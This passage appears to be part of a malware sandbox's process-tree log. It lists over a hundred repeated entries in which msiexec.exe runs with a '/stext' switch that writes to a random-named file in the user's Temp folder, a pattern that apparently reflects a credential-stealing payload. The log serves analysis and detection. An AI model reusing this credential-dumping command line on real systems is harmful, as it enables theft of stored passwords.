- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10600
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10608
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10616
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10624
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10632
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10640
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10648
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10656
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10664
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10672
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10680
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10688
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10696
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10704
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10712
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10720
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10728
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10736
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10744
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10752
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10760
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10768
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10776
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10784
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10792
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10800
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10808
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10820
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10828
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10836
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10844
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10852
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10860
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10868
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10876
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10884
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10892
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10900
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10908
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10916
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10924
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10932
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10940
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10948
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10956
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10964
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10972
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10980
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10988
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10996
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11004
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11012
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11020
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11028
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11036
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11044
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11052
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11060
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11068
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11076
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11084
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11092
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11100
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11108
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11116
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11124
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11132
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11140
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11148
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11156
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11164
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11172
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11180
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11188
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11196
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11204
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11212
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11220
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11228
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11236
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11244
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11252
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11260
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3468
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10940
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5036
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11268
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11276
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11284
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11292
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11300
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11308
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11316
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11324
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11332
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11340
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11348
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11356
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11364
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11372
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11380
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11388
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11396
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11404
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11412
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11420
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11428
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11436
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11444
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11452
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11460
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11468
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11476
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11484
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11492
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11500
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11508
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11516
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11524
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11532
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11540
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11548
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11556
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11564
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11572
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11580
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11588
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11596
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11604
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11612
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11620
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11628
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11636
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11644
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11652
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11660
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11668
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11676
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11684
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11692
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11700
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11708
- - C:\Windows\SysWOW64\msiexec.exe
